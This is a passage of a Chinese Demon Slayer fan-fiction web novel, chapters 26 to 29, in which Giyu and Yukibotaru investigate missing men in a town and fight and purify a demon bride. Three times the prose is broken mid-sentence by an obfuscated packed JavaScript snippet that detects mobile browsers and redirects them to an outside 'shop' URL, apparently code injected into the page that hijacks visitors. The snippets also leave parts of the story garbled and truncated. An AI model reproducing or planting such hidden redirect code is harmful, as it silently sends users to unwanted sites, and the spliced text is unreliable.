刀落的那一刻,他忽然想起什么。 他转过头,望向训练场的另一边。 那里,有一个身影。 —— 她穿着素白的练功服,深蓝色的长发高高束起,露出一截白皙的后颈。阳光从她身后照过来,给她的轮廓镀上一层金色的光。 她的刀很快。 快到看不清刀身,只能看见一道道白光在她周身闪烁。那些白光连成一片,像是一场小型的暴风雪,把她整个人裹在其中。 刀光过处,空气里凝结出细碎的冰晶,在阳光下闪闪发光,像是无数颗细小的钻石,随着她的动作飞舞、旋转、飘落。 她的身姿轻盈得像一片雪,可每一刀落下时,又重得像是能劈开一座山。 翩若惊鸿。 义勇脑子里忽然冒出这个词。 他不知道从哪里看到的,可能是锖兔以前念过的书。那时候他不明白什么意思,现在他忽然懂了。 就是这样的。像她这样的。 他看了很久。 久到忘记自己在练刀,久到忘记手臂还在酸,久到忘记那些压在心口的东西。 只是看着。 —— “哟——!” 一个张扬的声音从旁边炸开。 义勇猛地回过神来,差点把刀扔出去。 他转过头,看见一个高大的男人正站在不远处,双手抱胸,嘴角勾着一个大大的笑容。深紫色的衣袍,腰间系着金色的带子,额头上缠着镶满宝石的头带。整个人在阳光下闪闪发光,耀眼得让人想捂住眼睛。 宇髄天元。 义勇认识他。音柱。鬼杀队最强的几个人之一。 他怎么会在这里? 宇髄大步走过来,在他面前站定。他比义勇高出一个头,低头看着他的时候,那笑容更大了。 “哟,少年。”他说,“看你半天了。” 义勇:“……” 他不知道该说什么。 宇髄也不在意,自顾自地继续说: “看什么呢?那么入神。” 义勇的耳朵微微红了一下。 “……没看什么。” “没看什么?”宇髄笑了,转过头,朝训练场那边努了努下巴,“那边那个是谁?” 义勇顺着他的目光望去。 雪萤还在练刀。她刚收刀,正站在原地调整呼吸。阳光落在她身上,她的额角微微见汗,脸颊透着淡淡的粉色,像初春的桃花。 她抬起头,朝这边看了一眼。 义勇飞快地收回目光。 宇髄看见他那个样子,笑得更开心了。 “哦——”他拉长了声音,“原来如此。” 义勇的脸开始发烫。 “我……我只是在练刀。” “对对对,练刀。”宇髄点点头,一脸“我信你才怪”的表情,“练刀练到眼睛都黏在别人身上,我也是第一次见。” 义勇说不出话来。 宇髄看着他那个窘迫的样子,忽然觉得有点意思。 这个少年,刚才练刀的时候那么拼命,一副要把自己练死的架势。现在被他随便说了两句,就红着耳朵说不出话来。 有意思。 他伸出手,拍了拍义勇的肩膀。 “行了行了,别紧张。”他说,“看你刚才练得那么狠,休息一会儿吧。练死了可没人给你收尸。” 义勇看着他,张了张嘴,想说什么。 宇髄已经转身走了,边走边挥了挥手。 “加油啊少年,那丫头可不好追。” 义勇站在原地,愣了半天。 然后他低下头,看着自己的手。 那只手还在微微发抖,是练太久的后遗症。 可他的心,跳得比刚才快了一点。 ——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444166|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 几天后,义勇接到了一个任务。 前往西北方的村落,调查鬼出没的传闻。 和他一起执行任务的,还有一个人。 产屋敷雪萤。 义勇站在宅邸门口,等着她出来。 阳光照在他身上,暖洋洋的。他的头发已经梳整齐了,衣服也换了干净的,脸上的伤口结了薄薄的痂。 他站在那里,一动不动,像是怕动一下就会出错。 脚步声从身后传来。 他转过头。 雪萤走出来。 她穿着鬼杀队的队服,深蓝色的长发扎成一个高马尾,露出光洁的额头和白皙的后颈。腰间系着那把“雪切”,刀柄在阳光下泛着淡淡的蓝光。 她走到他面前,停下脚步。 “走吧。” 义勇点点头。 两个人并肩往外走。 谁都没说话。 可那沉默,不让人觉得尴尬。 像是本来就该这样。 —— 走到门口,雪萤忽然停下脚步。 义勇也跟着停下,看着她。 她回过头,望着宅邸的方向。 义勇顺着她的目光望去,看见门口站着几个人。 天音夫人站在最前面,白色的长发在风里轻轻飘动。她身边围着五个小小的身影——辉利哉,雏衣,日香,彼方,杭奈。五个孩子都仰着脸,朝这边望着。 “姐姐——!”杭奈最先喊出来,奶声奶气的,“早点回来——!” 雏衣和日香也挥着手:“姐姐路上小心!” 彼方叽叽喳喳地喊:“姐姐要带好吃的回来!” 辉利哉没有说话,只是站在那里,朝她挥了挥手。他已经五岁了,知道姐姐是去做重要的事,不能任性。 雪萤看着他们,嘴角弯了弯。 她举起手,朝他们挥了挥。 然后她转过身,继续往前走。 义勇走在她旁边,忍不住回头看了一眼。 那五个孩子还站在那里,朝这边望着。天音夫人揽着他们,脸上带着温柔的笑。 他忽然想起自己的师父。 鳞泷左近次。不知道他老人家现在在做什么。 他收回目光,继续往前走。 —— 走了一会儿,雪萤忽然开口: “你师父还好吗?” 义勇愣了一下。 “……应该还好。”他说,“没收到什么消息。” 雪萤点点头。 “等任务结束了,回去看看他。” 义勇看着她。 她望着前方,阳光落在她侧脸上,把她的轮廓照得很柔和。 他忽然觉得,心里有什么东西,软了一下。 “……嗯。”他说。 —— 两个人继续往前走。 太阳照在他们身上,把他们的影子拉得很长。 27. 鬼妻 这个镇子不大,藏在两座山的夹缝里。 雪萤和义勇走进去的时候,正是下午。阳光懒洋洋地照着,可街上人不多,偶尔有几个行人匆匆走过,看见他们腰间的刀,都低下头快步绕开。店铺半掩着门,连吆喝声都没有。风吹过街道,卷起几片落叶,沙沙地响。 “不对劲。”雪萤轻声说。 义勇点点头。 他也感觉到了。这个镇子太安静了。不是那种安宁的静,是那种压抑的、让人喘不过气的静。每家每户都门窗紧闭,偶尔有人从门缝里往外看一眼,又飞快地缩回去。像是一群受惊的动物,躲在洞穴里,不敢出声。 他们在镇上走了一圈,最后停在一间破旧的屋子前。 这是他们要走访的第一户人家。 一个女人的家。她的丈夫,三个月前失踪了。 —— 屋子很破。木门上的漆早就剥落了,露出底下灰白的木头。门框歪斜着,关不严实,从缝隙里能看见里面黑漆漆的。墙上有几道裂痕,用泥巴糊过,又裂开了。 雪萤走上前,敲了敲门。 没人应。 她又敲了敲。 过了很久,门才打开一条缝。一只眼睛从缝里往外看,浑浊的,带着恐惧。那眼睛在他们身上扫了一圈,看见腰间的刀时,瞳孔缩了缩。 “你们……找谁?”声音沙哑,带着颤。 雪萤尽量让自己的声音听起来柔和一些。 “我们是来调查失踪案的。可以进去说吗?” 那只眼睛犹豫了一下,看看她,又看看她身后的义勇。过了很久,门缝才开大了一点。 女人侧身让开,让他们进去。 —— 屋里很暗,窗户被木板封死了,只有几缕光从缝隙里漏进来。一股霉味混杂着别的什么味道,让人不太舒服。那是长期不通风的味道,是压抑和绝望发酵出来的味道。 雪萤打量着四周。 屋里很简陋。一张床,铺着薄薄的褥子,被子打着补丁。一张桌子,三条腿,另一条腿用砖头垫着。几件破旧的家具,柜门歪着,里面空空的。墙角堆着一些杂物,上面落了厚厚一层灰。 女人站在他们面前,低着头,不说话。 雪萤看着她。 她穿着灰扑扑的衣服,洗得发白,袖口磨破了。头发乱糟糟地披着,没有梳,像是很久没打理过。她的脸上有一块青紫,从眼角一直延伸到下巴,像是一片淤青的云。 那伤不像是新添的,已经泛黄发暗,可依然触目惊心。 她的眼睛一直躲闪着,不敢看他们。两只手绞在一起,指节发白。肩膀微微缩着,像是一直在防备着什么。 雪萤的心里轻轻动了一下。 “你丈夫……”她轻声开口,“失踪的那天,发生了什么?” 女人的身体抖了一下。 “他……他出去了。”她的声音很小,小得像蚊子叫,“然后就……再也没回来。” “他平时会去哪里?” “不知道。” “有没有和什么人起过冲突?” “没有。” “他失踪之前,有什么异常吗?” “没有。” 女人飞快地回答,像是早就背好的词。她的眼睛始终看着地面,不敢抬起来。 雪萤沉默了一会儿。 “你脸上的伤……”她问,“是怎么回事?” 女人的身体猛地一抖。 她抬起手,捂住那块青紫,往后退了一步。 “没……没什么。”她说,“我自己摔的。” 雪萤看着她。 那双躲闪的眼睛,那双发白的手指,那微微颤抖的肩膀。还有那缩着的身体,那不敢抬起的头,那像是随时准备挨打的本能的防备。 她忽然想起小时候,在藤袭山里遇见的那只鬼。那只鬼的眼睛里,也有这种恐惧。可那是鬼的恐惧,是怕死的恐惧。 而这个女人眼里的恐惧,不一样。 那是活人的恐惧。是每天活在恐惧里的人才会有的眼神。 她没有再问。 “打扰了。”她说,“如果想起什么,可以来找我们。我们就住在镇口的客栈。” 女人点点头,什么也没说。 他们转身离开。 门在身后飞快地关上了。 —— 走在街上,雪萤沉默了很久。 阳光照在身上,暖暖的,可她觉得心里有一块地方,凉凉的。 “那个女人脸上的伤。”她忽然开口。 义勇看着她。 “应该是被男人打的。”雪萤说,声音很轻,“长期生活在这种日子里,她一定很害怕。” 义勇没有说话。 他想起那个女人缩着肩膀的样子,想起她躲闪的眼神,想起她捂住伤口的那个本能反应。 他见过这种眼神。在被鬼追杀的人眼里见过。在那些失去一切的人眼里见过。 可那个女人,不是被鬼追杀。 是被她自己的丈夫。 “虽然这样说不对,”雪萤顿了顿,声音更轻了,“但没了那个男人,她是不是会更幸福一些?” 义勇的脚步顿了一下。 他转过头,看着她。 那双蓝紫色的眼睛望着他,里面有光,有疑惑,也有一种他看不懂的东西。那是一种很复杂的光,像是同情,又像是思考,还像是一种她自己也没想明白的东西。 他沉默了一会儿,然后点点头。 “……嗯。” 雪萤看着他,嘴角微微弯了一下。 那笑容很淡,淡得像风吹过水面。 可义勇看见了。 他忽然觉得,她笑起来的时候,比不笑的时候更好看。 —— 他们走访的第二户人家,在一个很偏的巷子里。 说是家,其实就是一间破烂的小屋。门口堆着酒坛,苍蝇到处飞,隔着老远都能闻到一股酸臭味。酒坛里还有半坛没喝完的酒,上面浮着一层白毛。 “就是这里。”带路的老人指了指,捂着鼻子,“那个人就住这儿。” 雪萤和义勇走近。 门没锁,一推就开了。 屋里比外面更乱。床上的被子已经看不出原来的颜色,地上扔着几件脏衣服,桌上摆着吃剩的碗筷,已经发霉了。墙上挂着一幅画,画的是花街的景色,也落满了灰。 “那个人啊,”带路的老人站在门口,满脸嫌弃,“整天就知道往花街跑。有点钱全花在女人身上了。” 雪萤听着,没说话。 “欠了一屁股债,到处借,没人愿意借给他。”老人继续说,“上个月又去花街,钱不够,让人轰出来了。回来喝了一顿酒,第二天就失踪了。” “失踪了?”雪萤问。 “对。活该。”老人啐了一口,“那种人,死在外面才好。” 义勇看了他一眼。 老人察觉到他的目光,缩了缩脖子,没再说话。 —— 第三个受害者,是一个收债人。 他的家在镇子东边,比前两家好一些,至少门窗是完整的。可门口堆着一些杂物,墙上被人泼过脏东西,留下一道道干涸的痕迹。 “那个人啊,”带他们来的邻居说,“手段狠着呢。替人收账,收不到钱就把人打个半死。镇上的人见到他都绕着走。” 雪萤皱起眉头。 “他失踪那天?”邻居撇撇嘴,“谁知道呢。反正没人关心。听说他那几天又去收账,把一个老头打坏了。那老头的儿子还来找他闹过。” “闹过?” “对。说要让他偿命。”邻居说,“可第二天他就失踪了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444167|201074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那老头的儿子也被抓起来了,说他杀人。可他不承认,说根本没找到人。” 雪萤和义勇对视一眼。 —— 调查结束后,天已经快黑了。 雪萤和义勇坐在镇口的石头上,望着渐渐暗下来的天空。晚霞把天边染成橘红色,像是火烧过一样。镇子里的灯一盏一盏亮起来,零零星星的,像是一双双恐惧的眼睛。 “这次的鬼,是有选择地吃人。”雪萤说。 义勇看着她。 “吃的都是男人。”雪萤说,“而且是品行不好的男人。那个打老婆的,那个好色的,那个暴力收债的。” 她顿了顿。 “为什么这么痛恨男人呢?” 义勇沉默了一会儿。 “女人。”他说。 雪萤愣了一下,然后笑了。 那笑容比刚才的更深一些,眼睛弯成两道月牙,在暮色里亮亮的。 “义勇也猜到了啊。”她说,“是啊,这么痛恨男人的,一定是个女人。而且在变成鬼之前,应该遭遇过很不幸的事。” 她望着远方,目光变得深远。 “被男人伤害过。被男人背叛过。被男人折磨过。所以变成鬼之后,专门找那些品行不好的男人下手。” 义勇没有说话。 他只是看着她。 夕阳的余晖落在她脸上,把她的侧脸照得柔和。那双眼睛望着远方,里面有光,有悲悯,也有一种坚定的东西。风吹起她耳边的碎发,轻轻拂过脸颊。 他忽然觉得,这样的她,比练刀的时候还要好看。 不是那种让人移不开眼睛的好看,是一种让人想一直看下去的好看。 —— “那就晚上出来看看吧。”雪萤说。 她站起来,拍了拍身上的土。 义勇也站起来。 两个人并肩站着,望着渐渐暗下来的镇子。 夜色像一张大网,慢慢落下来。镇子里的灯光越来越亮,可那些灯光照不到的地方,黑暗正在聚集。 夜晚要来了。 —— “你说,”雪萤忽然开口,“她变成鬼之前,是什么样的女人?” 义勇想了想。 “……普通的吧。”他说。 雪萤点点头。 “也许是个被丈夫虐待的妻子。也许是个被抛弃的女人。也许是个失去孩子的母亲。”她说,“受了太多苦,心里装满了恨,最后变成了鬼。” 她顿了顿。 “可她吃的人,都是那些伤害别人的男人。不是无辜的人。” 义勇看着她。 “你在同情她?”他问。 雪萤沉默了一会儿。 “不知道。”她说,“只是觉得……很悲哀。” 义勇没有说话。 他只是看着那双眼睛。 那双眼睛里,有一种他看不懂的东西。不是同情,不是怜悯,是一种更深的东西。像是理解,又像是叹息。 —— 天完全黑了。 镇子里的灯还亮着,可街上已经没人了。家家户户都关紧了门窗,连狗都不叫了。 雪萤和义勇站在镇子最高的地方,俯瞰着下面黑漆漆的街巷。 “她今晚会出来吗?”义勇问。 雪萤摇摇头。 “不知道。”她说,“但总要等。” 义勇点点头。 两个人站在那里,一动不动。 风从远处吹来,带着田野的气息,也带着一丝若有若无的血腥味。 那血腥味很淡,淡得几乎闻不出来。可雪萤的鼻子动了动。 “来了。”她说。 义勇的手按上了刀柄。 两个人同时望向镇子东边的方向。 那里,有一个身影,正慢慢从黑暗里走出来。 28. 雪之呼吸拾之型 夜色浓得像化不开的墨。 雪萤和义勇站在镇子东边的路口,等着。 风从远处吹来,带着田野的气息,也带着一丝若有若无的血腥味。那味道越来越浓了。 来了。 一个红色的身影从黑暗里慢慢走出来。 红色的嫁衣。 大红的底子上绣着金色的凤凰,裙摆很长,拖在地上。那嫁衣曾经一定很美,可现在它破旧了,撕裂了,沾满了尘土和血迹。金色的凤凰在月光下泛着暗淡的光,像是垂死的鸟。 她走得很慢。赤着的脚踩在地上,没有发出一点声音。脚踝上有一道深深的疤痕,像是被什么勒过。 头发披散着,乱糟糟的,遮住了大半张脸。露出来的那一小半,白得像纸。不是那种健康的苍白,是死人的白,是那种在地下埋了很久才会有的白。 她的五官很精致。如果活着,一定是个美人。可现在那双眼睛里没有光,只有一种很深很深的东西。 那是恨。 她抬起头,看见了他们。 那双空洞的眼睛里,忽然燃起了怒火。 “鬼杀队的人?” 她的声音沙哑,像很久很久没说过话。可那沙哑里,更多的是愤怒。 “让开。” 她没有停,继续往前走。 雪萤和义勇没有动。 鬼妻停下脚步。 她看着他们,又看向他们身后那条路。路的尽头,有一间还亮着灯的房子。 那是她今晚的目标。 那个男人,她跟踪他三天了,今晚一定要吃掉他。 “我说,让开。” 她的声音变了。不再是沙哑,而是像无数个声音叠加在一起,尖锐的,刺耳的,像是从地狱里传来的哀嚎。 雪萤握紧刀。 “我们不会让。” 鬼妻的眼睛眯起来。 “那就一起死。” —— 她动了。 红色的身影快得像一道闪电。 她手里多了一把刀。 一把太刀。刀身修长,刀柄缠着红色的丝线。那是她生前的刀——她父亲教她练的,她一直带在身边。 刀光闪过,朝雪萤劈来。 雪萤拔刀格挡。 当——! 两把刀撞在一起,迸出火星。 鬼妻的力气大得惊人。雪萤被震得后退一步。 义勇从侧面攻上去。 “水之呼吸·贰之型——水车!” 刀光旋转如车轮,朝鬼妻斩去。 鬼妻侧身躲过,回手一刀斩向义勇。义勇横刀格挡,被震得手臂发麻。 “她的刀很重。”他沉声说。 雪萤点点头。 她看出来了。那不是普通的刀,是和她一样的,带着某种力量的刀。 是怨念。 是恨。 那把刀里,封着那个女人一生的恨。 —— 鬼妻没有给他们喘息的机会。 她冲上来,一刀接一刀。刀势凌厉,又快又狠。每一刀都像是要把他们劈成两半。 雪萤和义勇左右夹击,可她的刀太快了。她像疯了一样,不管不顾,只想着杀。 “滚开!”她的声音在尖叫,“滚开——!” 刀光闪过,义勇的肩膀被划了一道。血渗出来,染红了衣服。 雪萤的眼睛缩了缩。 她深吸一口气,刀势一变。 “陆之型·雪崩!” 积蓄的力量在一瞬间爆发,刀光如雪崩般倾泻而下。 鬼妻被逼退了一步。 可只是一步。 她抬起头,看着雪萤。那双眼睛里,除了愤怒,又多了一点别的东西。 那是疯狂。 “你们……你们什么都不知道!” 她尖叫着,朝他们扑来。 —— 刀光交错。 三个人影在夜色里缠斗。红色的嫁衣在月光下飘动,像一团燃烧的火。 鬼妻的刀越来越快。义勇的呼吸开始乱了,肩膀的伤口在流血,手臂开始发麻。可他不能退。一退,她就会冲过去,就会吃掉那个男人。 雪萤咬着牙,一刀一刀格挡着。 她感觉到了。 这个女人很强。比之前遇到的所有鬼都强。不是因为她的力量,是因为她的恨。 那恨,让她的刀变得像疯了一样。 —— 刀光一闪。 雪萤只觉得眼前一黑。 然后,她站在一个完全陌生的地方。 —— 阳光很暖。樱花正开着。 粉白色的花瓣一片一片飘落下来,落在她的肩上,落在她的发间,落在脚下的青草地上。 她穿着一身华贵的和服,浅紫色的底子上绣着精致的樱花。衣料是上好的丝绸,摸上去又滑又软。她的头发梳成最时兴的发型,插着几支精致的发簪。 她不是雪萤了。 她是另一个人。 一个大小姐。 —— “小姐,那边好多人看着咱们呢。” 身后传来一个声音。 大小姐转过头,看见一个穿着朴素的小姑娘站在她身后,手里提着一个纸鸢。 那是她的侍女。 “看什么?”她问。 侍女抿着嘴笑。 “看小姐呀。”她说,“小姐今天打扮得太好看了,那些人眼睛都直了。” 大小姐皱起眉头。 她不喜欢被人盯着看。 她从小就生得好看。好看得让人移不开眼睛。那些人的目光,她早就习惯了。可她从来没喜欢过。 那些目光里,有羡慕,有嫉妒,也有一种让她不舒服的东西。 像是要把她吃掉一样。 “他们说什么?”她问。 侍女犹豫了一下。 “说……”她小声说,“说小姐是这城里最美的姑娘。说小姐的未婚夫真是好福气。” 大小姐的眉头皱得更紧了。 未婚夫。 那个人,她没见过几面。只知道是父亲选的,门当户对,人品不错。可她不了解他,不知道他喜欢什么,不喜欢什么,不知道他笑起来是什么样子。 她只知道,她要嫁给他。 这是她的命。 “走吧。”她说,“去那边,人少。” 她带着侍女,往樱花林深处走去,那边有一处空地。 —— 樱花越开越盛。 花瓣像雪一样飘落,落得到处都是。地上铺了厚厚一层,踩上去软软的。 侍女把纸鸢拿出来,递给她。 “小姐,放纸鸢吧。” 大小姐接过纸鸢,抬头看了看天。 天很蓝,云很白,风正好。 她把纸鸢放起来。 那纸鸢是一只蝴蝶,五彩斑斓的,在蓝天上飞得很高。线在她手里一松一紧,蝴蝶就越飞越高。 她看着那只蝴蝶,嘴角终于有了一点笑意。 那是她今天第一次笑。 如果雪萤的意识还在,她会认出这个笑。那是她自己的笑,是那个在雪山脚下笑起来眼睛弯成月牙的女孩的笑。 可现在她是大小姐。 她只是她自己。 —— 蝴蝶忽然不动了。 线绷紧了,拉不动。 “小姐,卡住了!”侍女喊。 大小姐抬起头,看见那只蝴蝶挂在了一棵高大的樱花树上。树枝太高了,她够不着。 “怎么办……”她皱起眉头。 “我去找人来!”侍女说。 侍女跑开了。 大小姐站在原地,望着那只挂在树上的蝴蝶。 风吹过来,樱花飘落。 她站在那里,像一幅画。 —— “需要帮忙吗?” 一个声音从身后传来。 大小姐转过身。 阳光里,站着一个少年。 他穿着深色的和服,腰间系着一把刀。他的头发有些乱,脸上没什么表情,可那双眼睛望着她的时候,有一点说不清的东西。 他很年轻。和她差不多大。 大小姐愣了一下。 那个少年也愣了一下。 两个人就这样看着对方。 风吹过,樱花落在他们之间。 —— “你……你是谁?”大小姐问。 少年回过神。 “路过。”他说,“看见你的纸鸢卡住了。” 他抬头看了看树上的纸鸢,然后走过去。 他爬上树。 动作很利落,几下就爬到了那根树枝旁边。他伸出手,把纸鸢取下来,然后跳下来,走到她面前。 “给。” 他把纸鸢递给她。 大小姐接过纸鸢。 她的手碰到了他的手指。 只是轻轻碰了一下,可两个人都愣住了。 大小姐的脸红了。 她把纸鸢抱在怀里,低下头。 “……谢谢。” 少年站在那里,看着她。 阳光落在她脸上,照出那红红的脸颊,那低垂的睫毛,那微微颤抖的嘴唇。 他忽然不知道该说什么。 过了很久,他才开口: “不用谢。” —— 侍女跑回来的时候,那个少年已经走了。 “小姐!小姐!我找人来——咦?纸鸢下来了?” 大小姐点点头。 “有人帮忙了?” 大小姐又点点头。 “谁呀?” 大小姐没有说话。 她只是看着那个少年离开的方向。 樱花还在落。 她忽然觉得,今天的樱花,比任何时候都好看。 —— 画面一转。 红色。 满眼的红色。 大小姐站在镜子前。 镜子里的人,穿着大红的嫁衣。金色的凤凰在烛光下闪闪发光。她的头发盘起来了,戴着沉甸甸的金冠。脸上涂了胭脂,红红的,像花一样。 她看着镜子里的自己。 很美。 可她的眼睛里,没有光。 外面很吵。有人在笑,有人在喝酒,有人在喊“恭喜恭喜”。 可她没有笑。 她在等。 等一个人。 那个人说过,会来带她走。 —— 门被推开了。 不是新郎。 是他。 那个帮她取纸鸢的少年。 他站在门口,浑身是血。脸上有伤,衣服破了,可他在笑。 “我来带你走。” 大小姐的眼泪涌了出来。 她跑过去,想拉住他的手。 可外面的人发现了。 “有人闯进来了!” “抓刺客!” “抓住他!” 那些人冲进来,把他按住。他挣扎着,可人太多了。他被按在地上,脸贴着冰冷的地面,可他的眼睛一直望着她。 “走啊!”他喊,“快走!” 大小姐站在那里,浑身发抖。 她想跑过去,可脚迈不动。 她想喊他的名字,可喊不出来。 她只能看着他,看着那些人把他拖走。看着他挣扎着,望着她,直到消失在门口。 他的嘴唇还在动。 那是三个字。 她看懂了。 他说—— “我等你。” —— 雪萤猛地睁开眼睛。 她站在黑暗里,手里还握着刀。眼前的鬼妻正看着她,眼睛里有什么东西在闪。 那东西是泪。 雪萤大口喘着气。 刚才那几秒,她经历了另一个人的一生。 她变成了鬼。 穿着那身嫁衣,等了很久很久。 等到了爱慕自己的少年。 —— 义勇也醒了。 他站在不远处,握着刀,也在大口喘气。 他看见了另一个人的一生。 那个少年,被抓回去后,被打得半死。他逃出来过,又回去过。可每一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个女人的恨太深了。深到刀斩不碎,深到冰封不住。 她需要别的。 需要她一直藏着的东西。 需要那个爹爹不让她用的东西。 —— 她闭上眼睛。 再睁开时,那双蓝紫色的眼睛里,有了一种不一样的光。 那是她五岁那年,在藤袭山上用过的东西。 那是她一直藏着的,不敢用的东西。 那是她最真的东西。 是言灵。 是净化。 是娘亲说的,神官一族的血脉里流淌着的,最古老的力量。 她握紧刀。 那刀身上,开始泛出淡淡的光。 不是刀光。是另一种光。暖暖的,柔柔的,像是雪夜里的一点萤火。 她开口了。 声音不大,可那声音里,有一种不一样的东西。 “雪之呼吸·拾之型——” 刀光升起。 那刀光里,不只是刀。 还有别的。 是她五岁那年,第一次见到鬼时脱口而出的那句话。 是她这五年,在雪山上日夜苦练时积攒的全部力量。 是她心里,对那个大小姐和那个少年的全部怜悯。 是光。是暖。是那个大小姐第一次见到那个少年时的心跳。是她在新婚之夜没等到少年而选择结束生命,追逐真爱的勇气。是她变成鬼之后,找了很久很久,却始终找不到的执念。 “雪萤。” 刀落。 那一刀,不是斩。 是拥抱。 —— 光落在鬼妻身上。 她愣住了。 那光穿透了她的身体,可她不觉得疼。 只觉得暖。 暖得像那个春天的午后,樱花落在她肩上。 暖得像那个少年第一次看着她时,眼里的光。 暖得像她等了很久很久,终于等到的东西。 眼泪从她脸上流下来。 她看着雪萤,看着那双蓝紫色的眼睛。那眼睛里,有光,有暖,也有一种她很久很久没见过的—— 温柔。 她忽然笑了。 不是那种难看的笑,是真的笑。 像那个大小姐,在樱花树下,第一次见到那个少年时一样。 她的身体开始化成灰烬。 可她还在笑。 —— 灰烬飘散。 红色的嫁衣落在地上,慢慢变淡,慢慢消失。 风一吹,什么都没有了。 只剩下雪萤站在那里,握着刀。 眼泪从她脸上流下来。 她成功了。 她把言灵和刀法融合在了一起。 可她没有高兴。 只是觉得,心里有一块地方,被填满了,又被掏空了。 —— 义勇捂着伤口,走过来,站在她身边。 他浑身是血,可他还在站着。 两个人并肩站着,望着那片空荡荡的地方。 很久很久。 —— “她找到了吗?”义勇问。 雪萤摇摇头。 “不知道。” 她顿了顿。 “可她最后笑了。” 义勇没有说话。 他只是看着她。 月光落在她脸上,照出那满脸的泪痕。 她站在那里,握着刀,像一株雪中生长的白梅。 他忽然觉得,她比任何时候都好看。 —— 天快亮了。 远处传来鸡叫。 他们转过身,慢慢往回走。 身后,那件红色的嫁衣已经完全消失了。 可那抹红,还留在他们心里。 还有那道光。 那道叫“雪萤”的光。 29. 梦境中的未婚夫 战斗结束的那一刻,天边刚刚泛起鱼肚白。 雪萤收刀入鞘,站在那片空荡荡的地方。红色的嫁衣已经完全消失了,连一丝灰烬都没有留下。只有风吹过,卷起几片枯叶,沙沙地响。 义勇捂着肩膀,血还在从指缝里渗出来。他的脸色有些苍白,可他还是站着,没有倒下。 “你还好吗?”雪萤问。 义勇点点头。 “……嗯。” 就在这时,四周忽然出现了许多人影。 他们穿着黑色的衣服,从头到脚裹得严严实实,只露出一双眼睛。动作迅速而安静,像是黑暗中无声流动的水。 隐。 鬼杀队的后勤部队。专门负责处理战场、掩埋尸体、消除痕迹、防止鬼杀队的存在引起社会恐慌。 他们一出现,就立刻开始工作。有人检查地面,有人收集散落的断臂,有人用特制的药水喷洒在血迹上——那药水能迅速分解血液,让一切看起来像是从未发生过。 一个看起来像是领头的隐走过来,朝雪萤和义勇微微躬身。 “辛苦了。剩下的交给我们。” 雪萤摇摇头。 “辛苦大家了。” 那个隐愣了一下,然后连忙摆手。 “不不不,不幸苦不幸苦!我们做了应该做的事情!”他的声音有些慌乱,像是没想到主公的女儿会这样客气。 雪萤轻轻笑了一下。 那个隐的脸藏在面罩后面,看不见表情,可他的耳根红了。 —— 一辆马车缓缓驶来。 车上刻着紫藤花的家纹——那是鬼杀队的标志,也是安全的象征。 “两位请上车。”另一个隐走过来,“已经安排好了休整的地方。” 雪萤点点头,扶着义勇上了马车。 车轮滚动,渐渐驶离那个镇子。 —— 马车停在一座偏僻的宅院前。 宅子不大,但很整洁。门口也刻着紫藤花的家纹,在晨光里显得格外清晰。 一个老婆婆站在门口,等着他们。 她的头发全白了,白得像雪一样。脸上满是皱纹,可那双眼睛很亮,透着慈祥的光。她穿着一身素净的和服,腰背微微佝偻,却站得很稳。 “来了啊。”她的声音有些沙哑,却很温和,“快进来,老婆子给你们准备了热汤。” 雪萤扶义勇下了车,朝老婆婆微微躬身。 “麻烦您了。” 老婆婆摆摆手。 “不麻烦不麻烦。鬼杀队的孩子们,都是老婆子的恩人。” 她看着义勇肩膀上的伤,眉头皱了一下。 “伤得不轻啊。快进来,老婆子给你看看。” —— 屋里很暖和。 壁炉里烧着柴火,噼啪作响。桌上摆着热汤和简单的饭菜,冒着热气。 老婆婆让义勇坐下,熟练地解开他肩上的绷带。那些绷带是在镇上临时包扎的,已经染红了。 “伤口有点深。”老婆婆说,“不过没伤到筋骨,养养就好。” 她取出一个药箱,里面摆满了瓶瓶罐罐。她挑出几个,开始给义勇重新上药包扎。 动作很轻,很稳。 义勇一动不动,任她摆布。 “这位先生并无大碍。”老婆婆包扎完,站起身,“只是伤口有点深,最近要暂停任务,等伤口愈合再说。” 雪萤点点头。 “谢谢您。” 老婆婆摆摆手,收拾好药箱,准备离开。走到门口,她忽然想起什么,回过头来。 “对了,这位先生的衣服,老婆子已经洗好缝补好了。”她指了指旁边的一个托盘,“破了的地方都补好了,血迹也洗干净了。要不要换掉?” 那件深色的上衣叠得整整齐齐,放在托盘里。袖子上的破洞被细密的针脚补好,不仔细看根本看不出来。血迹也洗得干干净净,像是新的一样。 义勇看了一眼。 “不用。” 老婆婆愣了一下。 “可是……这件衣服已经很旧了。老婆子这里还有干净的衣服,要不——” “不用。”义勇又说了一遍,声音不大,却很坚定。 老婆婆看了看他,又看了看雪萤,点点头,没再说什么,退了出去。 —— 门关上了。 屋里只剩下雪萤和义勇两个人。 壁炉里的柴火烧着,偶尔发出噼啪的响声。热汤的热气往上飘,在空气里慢慢散开。 雪萤看着那件叠好的衣服,又看了看义勇。 她的眼神里,有一点疑惑。 义勇察觉到她的目光。 他沉默了一会儿,然后开口: “那件衣服……” 雪萤看着他。 